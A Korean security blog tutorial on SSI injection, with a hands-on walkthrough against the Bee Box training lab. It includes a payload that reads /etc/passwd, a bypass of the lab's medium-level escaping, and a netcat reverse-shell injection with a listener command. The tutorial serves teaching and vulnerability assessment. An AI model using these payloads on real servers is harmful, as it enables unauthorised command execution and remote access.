기준
취약점 설명
SSI(server side include) : HTML 페이지에서 사용하는 지시어로 페이지를 서비스할 때 서버에서 명령어가 처리됩니다.
SSI를 사용하면 CGI프로그램이나 다른 동적인 기술로 페이지 전체를 서비스하지 않아도 동적으로 생성된 내용을 페이지에 추가하여 나타낼 수 있습니다.
페이지가 생성될 때 명령어를 실행하여 추가하기 때문에 작은 내용을 페이지에 추가하여 생성하기에 편리한 부분이 있지만 서버의 명령어를 실행하여 내보내는 만큼 취약점이 매우 위험한 수준입니다.
방문자 수, 조회수와 같이 실시간으로 간략하게 페이지에 추가하는 부분에 주로 사용됩니다.
SSI 기능을 사용 중인 페이지의 확장자는 .stm, , .shtm, .shtml 등이 있으며 SSI파일이 있는 .htaccess파일을 가져올 수 있도록 서버 구성이 잘못된 경우 SSI인젝션 공격이 가능할 수 있습니다.
공격 방법
방법은 의외로 간단한데 Bee Box를 활용해서 알아보겠습니다.
위와 같은 페이지에 값을 넣어서 실행해보겠습니다.
실행한 페이지는 위와 같은 페이지가 됩니다.
first name과 last name을 넣는 페이지의 소스와 각 level별 값을 알 수 있습니다.
서버 내의 소스를 확인해보면 각 level 별 적용되는 보안사항을 알 수 있습니다.
위에서 적용된 소스를 볼 수 있고 functions_external.php를 확인해서 보안이 어떻게 적용되는지 확인해보겠습니다.
위의 소스들로 알 수 있는 것은 Low level은 보안이 적용되어 있지 않고, Medium level은 xss_check_4가 적용되며 High level은 xss_check_3이 적용됩니다.
각 level별 보안 사항은 적어보겠습니다.
xss_check_4 : ', ", \, NULL값의 앞에 \(백슬래쉬) 값이 추가되어 실행
xss_check_3 : 특수문자 (&, ", ', <, >)를 치환
둘 중에서는 xss_check_3이 강력한 조치방법이며 주통가이드에서 대응방법으로 권고하고 있는 방법입니다.
이를 바탕으로 Bee Box를 High level을 제외하고 공격해보도록 하겠습니다.
1. Low level
실행되는 소스를 확인해본 후 Low level은 보안 사항이 없으므로 직접 공격을 해보도록 하겠습니다.
<!--exec cmd="cat /etc/passwd" -->
위의 코드를 넣어서 실행해보겠습니다.
위처럼 넣은 코드가 실행되는 것을 확인할 수 있습니다.
2. Medium level
전에 확인한 코드에서 확인한 것처럼 ', ", \, NULL값의 앞에 \(백슬래쉬) 값이 추가되어 실행되는 것입니다.
그럼 기존과 같은 코드를 넣어서 실행되는지 확인해보겠습니다.
위의 사진처럼 실행이 되지 않는 것을 확인할 수 있습니다.
이때 코드에서 \가 추가되는 특수문자(', ", \, NULL)를 사용하지 않는 방식으로 공격해보도록 하겠습니다.
위처럼 "를 사용하지 않은 코드를 넣어보도록 하겠습니다.
위처럼 \가 추가되는 "를 제외한 코드를 넣으면 실행되는 것을 확인할 수 있습니다.
-------------------------------------------------------------------------------------------------
이외에도 위와 같은 명령어를 통해 공격도 가능합니다.
또한, netcat을 활용하여 공격자 측에서 서버의 열려있는 포트를 확인했을 경우 <!--#exec cmd="ns [서버 IP] [접근하려는 포트] -e /bin/bash">를 삽입하여 명령어 실행도 가능합니다.
만약 실습 시에 서버 측의 접근 로그 확인 및 명령어 확인을 하고 싶다면 nc -lvp [포트번호]를 입력해주면 확인할 수 있습니다.
'Web' 카테고리의 다른 글
디렉터리 인덱싱 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.03.04 |
---|---|
XPath 인젝션 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.03.02 |
SQL 인젝션 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.02.23 |
운영체제 명령 실행(Remote Command Execution) (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.02.23 |
LDAP 인젝션 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.02.22 |